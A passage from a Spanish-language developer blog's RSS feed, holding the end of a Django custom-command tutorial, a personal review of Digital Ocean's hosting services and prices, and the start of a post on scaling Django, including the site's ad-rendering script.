style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; options[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;file&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;.svg&amp;#39;&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process_svg()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora seguramente te estarás preguntando que significan todos esos argumentos que le pasamos a &lt;em&gt;add_argument&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ahora mismo te lo digo:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Prefijo &amp;lsquo;&amp;ndash;&amp;rsquo;&lt;/strong&gt;: le dice a Argparse que es un argumento opcional&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;nargs&lt;/strong&gt;: indica la cantidad de valores que puede recibir nuestro argumento, el simbolo &amp;lsquo;+&amp;rsquo; en este caso es para uno o ninguno.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;const:&lt;/strong&gt; es el valor a usar si no especificamos ningún valor para el argumento.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;type:&lt;/strong&gt; nos dice el tipo de dato que espera nuestro argumento.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;help:&lt;/strong&gt; es el texto de ayuda a mostrar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;ejecutar-el-comando&#34;&gt;Ejecutar el comando&lt;/h2&gt;&#xA;&lt;p&gt;¿Y para ejecutarlo? Fácil; justo como lo harías con cualquier otro comando de django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py tucomando&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# con un argumento posicional&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python managa.py tucomando email admin@example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# o con un argumento opcional&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py tuotrocomando --file&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;tuarchivo.svg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, si te leiste esto completo, ahora conoces lo básico de la creación de comandos de django. Pero no te quedes solo con esto, visita &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/howto/custom-management-commands/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial de django&lt;/a&gt;&#xA; para profundizar más.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Has usado Django antes ¿no? Entonces, ya usaste algún comando de Django, pudo haber sido makemigrations, migrate, startproject, startapp algún otro. Pero, ¿alguna vez has creado alguno? Quizás no. Sigue leyendo para aprender como.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crear-un-comando-en-django&#34;&gt;Crear un comando en django&lt;/h2&gt;&#xA;&lt;p&gt;Para crear un comando de django basta con crear una carpeta llamada &lt;em&gt;management&lt;/em&gt; en el mismo nivel que tu archivo &lt;em&gt;manage.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir management&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Posteriormente, hay que crear una carpeta llamada commands dentro de esa carpeta&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Digital Ocean Review, análisis y mi experiencia como usuario</title>
      <link>https://coffeebytes.dev/es/software-architecture/digital-ocean-review-analisis-y-mi-experiencia-como-usuario/</link>
      <pubDate>Thu, 14 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/digital-ocean-review-analisis-y-mi-experiencia-como-usuario/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;He estado usando Digital Ocean para mis proyectos personales durante varios años, así que déjame contarte cómo me ha ido hasta ahora y qué tipo de servicios puedes encontrar ahí.&lt;/p&gt;&#xA;&lt;h2 id=&#34;droplets-en-digital-ocean&#34;&gt;Droplets en Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;Los &lt;strong&gt;Droplets&lt;/strong&gt; son mi recurso favorito en Digital Ocean. Son servidores virtuales que se rentan por hora. Al crear un Droplet puedes elegir entre diferentes sistemas operativos y versiones. Puedes acceder a la terminal de cualquier Droplet desde su página web o mediante el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comando ssh&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;En cuanto das clic al botón, en menos de un minuto ya tienes un Droplet disponible y funcionando.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-de-digital-ocean.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-de-digital-ocean.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Images available for Digital Ocean droplets&#34; width=&#34;1272&#34; height=&#34;508&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;imagenes-personalizadas-en-droplets&#34;&gt;Imágenes personalizadas en Droplets&lt;/h3&gt;&#xA;&lt;p&gt;Si no quieres empezar desde cero con una instalación &amp;ldquo;limpia&amp;rdquo; del sistema operativo, puedes optar por &lt;strong&gt;imágenes que ya traen software preinstalado para los requerimientos más comunes&lt;/strong&gt;: desarrollo web, data science, blogging, frameworks, multimedia, almacenamiento, elearning, ecommerce, etc.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547051/Marketplace-digital-ocean_q3h4lb.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547051/Marketplace-digital-ocean_q3h4lb.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Images available for Digital Ocean droplets&#34; width=&#34;1301&#34; height=&#34;543&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Por ejemplo, puedes elegir una plantilla de Express JS y ya trae Node instalado y un servidor Express corriendo.&lt;/p&gt;&#xA;&lt;p&gt;Estas imágenes personalizadas te ahorran tiempo configurando el sistema operativo, y a veces basta con un simple CTRL + C y CTRL + V para que tu app quede lista. Yo he usado Django, Wordpress y MERN stack, y los puedo recomendar.&lt;/p&gt;&#xA;&lt;h3 id=&#34;droplets-segun-tus-necesidades&#34;&gt;Droplets según tus necesidades&lt;/h3&gt;&#xA;&lt;p&gt;Digital Ocean también ofrece Droplets especializados, ya sea en CPU, memoria o almacenamiento, además de una versión de propósito general. Pero seguro no viniste aquí por eso, ¿cierto? Probablemente tienes un presupuesto ajustado, no te preocupes, nos pasa a todos.&lt;/p&gt;&#xA;&lt;p&gt;Digital Ocean ofrece algunos de los VPS más básicos y económicos del mercado (excepto Hostinger y Akamai, pero hablaré de eso más adelante).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-purpose.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-purpose.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Types of plans for Digital Ocean&#34; width=&#34;1273&#34; height=&#34;163&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;el-vps-barato-pero-confiable-de-digital-ocean&#34;&gt;El VPS barato pero confiable de Digital Ocean&lt;/h3&gt;&#xA;&lt;p&gt;Ok, pero ¿y el precio? Pues la respuesta es la de siempre: depende.&lt;/p&gt;&#xA;&lt;p&gt;Para que te hagas una idea, el Droplet más barato cuesta &lt;del&gt;$5 USD al mes&lt;/del&gt; $4 USD al mes. Es prácticamente nada, y para un sitio pequeño suele ser más que suficiente. A modo de comparación, Vercel hospeda tu aplicación gratis con ciertas limitaciones, pero su siguiente plan —al momento de escribir este artículo— cuesta $20 USD al mes.&lt;/p&gt;&#xA;&lt;p&gt;Supongamos que con ese Droplet puedes atender 1 RPS, eso significa 60 peticiones en un minuto, 3600 en una hora y 86,400 en un día. Si con ese tráfico no logras monetizar, el problema no es técnico, sino de marketing. Recuerda, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;no te obsesiones con el rendimiento de tu aplicación web&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;los-vps-usan-hdd-o-ssd&#34;&gt;¿Los VPS usan HDD o SSD?&lt;/h4&gt;&#xA;&lt;p&gt;Ojo: todos los planes manejan almacenamiento con SSD, así que no te preocupes por la velocidad de lectura y escritura.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Precios-digital-ocean.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Precios-digital-ocean.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Prices of the different plans offered by Digital Ocean&#34; width=&#34;1350&#34; height=&#34;502&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;proveedor-de-nube-con-servidores-en-todo-el-mundo&#34;&gt;Proveedor de nube con servidores en todo el mundo&lt;/h3&gt;&#xA;&lt;p&gt;Digital Ocean tiene servidores en diferentes partes del mundo, por lo que siempre tendrás una opción cercana a tus clientes.&lt;/p&gt;&#xA;&lt;p&gt;Yo SOLO he usado los de Estados Unidos y Canadá, por la cercanía con México, y hasta ahora no he tenido ningún problema. También sé que tienen en Europa y Asia, así que puedes probarlos sin problema. Recuerda que un TTFB largo es un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;error técnico de SEO&lt;/a&gt;&#xA;, no cometas el error de una respuesta larga.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/diferentes-ubicaciones-droplets-digital-ocean.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/diferentes-ubicaciones-droplets-digital-ocean.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Digital Ocean Server Locations&#34; width=&#34;1260&#34; height=&#34;383&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;digital-ocean-vs-hostinger&#34;&gt;Digital Ocean vs Hostinger&lt;/h2&gt;&#xA;&lt;p&gt;Descubrí que los VPS de Hostinger son mucho más baratos que los de Digital Ocean, prácticamente ofrecen el doble de recursos por el mismo precio. Sin embargo, he leído varias quejas de devs en Facebook. No he probado Hostinger personalmente, pero basta ver este &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/webhosting/comments/1h0x6fh/is_there_a_catch_here_why_choose_digitalocean/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;hilo en Reddit sobre Digital Ocean vs Hostinger&lt;/a&gt;&#xA; para notar que parece ser conocimiento común que no es del todo confiable. Nada contra Hostinger, pero los comentarios me desanimaron.&lt;/p&gt;&#xA;&lt;p&gt;La verdad no quiero lidiar con problemas por una diferencia de precio tan pequeña. Si tienes alguna experiencia con Hostinger que se pueda comprobar, con gusto actualizo este post incluyendo tu opinión.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rentar-llm-en-digital-ocean&#34;&gt;Rentar LLM en Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;Me acabo de dar cuenta de que ahora ofrecen LLM bajo demanda, y no solo ChatGPT, sino varios más, cada uno con su precio. Los puedes conectar a tus Droplets, Apps o servicios y usarlos; ellos se encargan del resto. Los precios cambian, así que no te fíes de la imagen, tómala solo como referencia.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547643/Digital-Ocean-AI-models-available_t15vfg.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547643/Digital-Ocean-AI-models-available_t15vfg.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Digital Ocean Server Locations&#34; width=&#34;593&#34; height=&#34;684&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Mira: puedes conseguir 1M tokens por solo $1 USD en el modelo Deep Seek.&lt;/p&gt;&#xA;&lt;p&gt;Esto está simplemente brutal: no necesitas instalar Ollama, ni rentar una GPU, ni pagar un plan mensual en OpenAI, solo pagas lo que usas. Perfecto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otros-servicios-disponibles-en-digital-ocean&#34;&gt;Otros servicios disponibles en Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;¿Recuerdas las empresas IAAS y PAAS? Bueno, muchas de las IAAS, incluida Digital Ocean, han crecido tanto que ahora ofrecen también servicios tipo PAAS.&lt;/p&gt;&#xA;&lt;p&gt;Desde hace poco ofrecen integración y despliegue de tus aplicaciones usando tus repositorios de Github o Gitlab. Subes tu código y ellos lo compilan y ejecutan, con CI/CD incluidos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Digital-Ocean-Apps.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Digital-Ocean-Apps.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Apps Service&#34; width=&#34;1252&#34; height=&#34;767&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Digital Ocean también ofrece servicio de CDN, llamados &lt;em&gt;Spaces&lt;/em&gt;, compatibles con Amazon S3, desde $5 USD al mes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;kubernetes-clusters-en-do&#34;&gt;Kubernetes clusters en DO&lt;/h3&gt;&#xA;&lt;p&gt;Digital Ocean te permite crear Kubernetes clusters con almacenamiento y balanceadores de carga en unos pocos clics.&lt;/p&gt;&#xA;&lt;h3 id=&#34;apps&#34;&gt;Apps&lt;/h3&gt;&#xA;&lt;p&gt;Las Apps son parecidas a una solución &lt;em&gt;serverless&lt;/em&gt;: conectas tu cuenta de Github, Gitlab o Bitbucket con Digital Ocean y puedes subir aplicaciones Node o archivos estáticos para que ellos los sirvan. Incluso puedes especificarles que ejecuten compilaciones o cualquier comando que necesites. Hasta ahora, &lt;strong&gt;es la solución más barata que ofrece Digital Ocean&lt;/strong&gt;, y es excelente para manejar aplicaciones Frontend.&lt;/p&gt;&#xA;&lt;p&gt;Los sitios estáticos no tienen costo extra y funcionan bastante bien, este blog corre sobre uno de ellos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;volumenes&#34;&gt;Volúmenes&lt;/h3&gt;&#xA;&lt;p&gt;Es espacio adicional que agregas a tus Droplets para aumentar su capacidad, como si conectaras un disco duro extra.&lt;/p&gt;&#xA;&lt;h3 id=&#34;bases-de-datos&#34;&gt;Bases de datos&lt;/h3&gt;&#xA;&lt;p&gt;Bases de datos autogestionadas con respaldos automáticos y cifrado opcional. Manejan Postgres, MongoDB, MySQL y Redis.&lt;/p&gt;&#xA;&lt;h2 id=&#34;digital-ocean-vs-aws-vs-azure&#34;&gt;Digital Ocean vs AWS vs Azure&lt;/h2&gt;&#xA;&lt;p&gt;Digital Ocean está más enfocado en proyectos pequeños y medianos, no tiene tantas soluciones como AWS o Azure.&lt;/p&gt;&#xA;&lt;p&gt;Según el contenido que estudié para la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/examen-de-certificacion-azure-az-900-mi-experiencia/&#34;&gt;Certificación Azure AZ-900&lt;/a&gt;&#xA;, la plataforma de Microsoft tiene un sinfín de servicios, lo que se te ocurra.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo, Digital Ocean no tiene soluciones de inteligencia artificial para análisis de seguridad IT, análisis de big data u otras opciones de SaaS. Pero, a cambio de esas carencias, que dejan más trabajo a los devs, ofrece precios mucho más competitivos que los gigantes del sector.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-experiencia-usando-digital-ocean-hasta-ahora&#34;&gt;Mi experiencia usando Digital Ocean hasta ahora&lt;/h2&gt;&#xA;&lt;p&gt;He usado Digital Ocean para hospedar proyectos personales y también para administrar mis dominios. Hasta el momento no he tenido problemas de caídas en los servidores, o al menos no que yo haya notado ni que algún usuario me haya reportado.&lt;/p&gt;&#xA;&lt;p&gt;De hecho, ahora mismo estás leyendo esto &lt;del&gt;desde un Droplet con Wordpress sin interfaz y frontend frontity (un framework de React) servido con Nginx&lt;/del&gt; con Hugo y alojado en Digital Ocean. Este blog usa &lt;del&gt;el servicio más barato, el de $5 USD&lt;/del&gt; el servicio de Apps, que es completamente gratis para sitios estáticos. Y la verdad, para el tráfico que tengo no se siente lento, mantiene métricas decentes en Lighthouse, sin ningún tipo de caché ni optimización avanzada.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Coffeebytes-lighthose-indicadores.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Coffeebytes-lighthose-indicadores.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Indicadores de Lighthose para coffeebytes.dev&#34; width=&#34;1228&#34; height=&#34;825&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;&lt;del&gt;Cabe aclarar que sí modifiqué algunas configuraciones por defecto para mejorar el rendimiento. Por ejemplo, habilité HTTP2 en lugar de HTTP, además de instalar el certificado SSL con cerbot en la terminal, ya que la instalación por defecto no lo incluía. Cosas extras que otros servicios de hosting me habrían resuelto, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/en/linux/my-experience-using-easywp-and-namecheap/&#34;&gt;easywp&lt;/a&gt;&#xA;.&lt;/del&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;resumiendo-mi-experiencia-con-do&#34;&gt;Resumiendo mi experiencia con DO&lt;/h2&gt;&#xA;&lt;p&gt;Mi experiencia hasta ahora ha sido bastante buena, no tengo quejas en cuanto al rendimiento que prometen, por supuesto me reservo el derecho de cambiar de opinión.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;#ZgotmplZ&#34;&gt;&#xA;    Si decides probarlo, te regalo $200 USD para que experimentes por ti mismo lo que Digital Ocean tiene para ofrecer, solo haz clic en este banner.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Si no quieres meterte con Apache, Nginx o configuraciones de servidores, quizá un Droplet de Digital Ocean no sea la mejor opción para ti.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, Digital Ocean ofrece uno de los mejores precios para arrancar un proyecto: $3 USD (o gratis para sitios estáticos) por el paquete más básico (Apps) es un &lt;strong&gt;precio increíblemente bajo&lt;/strong&gt; para páginas estáticas o solo con Frontend.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;He estado usando Digital Ocean para mis proyectos personales durante varios años, así que déjame contarte cómo me ha ido hasta ahora y qué tipo de servicios puedes encontrar ahí.&lt;/p&gt;&#xA;&lt;h2 id=&#34;droplets-en-digital-ocean&#34;&gt;Droplets en Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;Los &lt;strong&gt;Droplets&lt;/strong&gt; son mi recurso favorito en Digital Ocean. Son servidores virtuales que se rentan por hora. Al crear un Droplet puedes elegir entre diferentes sistemas operativos y versiones. Puedes acceder a la terminal de cualquier Droplet desde su página web o mediante el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comando ssh&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo Escalar Django Para Manejar Millones De Vistas?</title>
      <link>https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/</link>
      <pubDate>Wed, 30 Dec 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/</guid>
      
      <category>software architecture</category>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Te gustaría que tu aplicación de Django pudiera manejar un millón de visitas? Esta entrada es una recopilación de artículos, libros, y videos que he leído sobre como llevar una aplicación de Django hasta sus máximas capacidades, incluso he implementado algunas de estas recomendaciones yo mismo.&lt;/p&gt;&#xA;&lt;p&gt;También es buen momento para recordar que si tu aplicación va empezando, probablemente &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;no deberías obsesionarte con su rendimiento&amp;hellip; aún&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reduce-las-queries-lentas-en-django&#34;&gt;Reduce las queries lentas en Django&lt;/h2&gt;&#xA;&lt;p&gt;Como ya sabes, el acceso a la base de datos suele ser el cuello de botella de la mayoría de las aplicaciones. &lt;strong&gt;La acción más importante a realizar es reducir el número de queries y el impacto de cada una de estas&lt;/strong&gt;. Puedes reducir el impacto de tus queries en un 90%, y no exagero.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  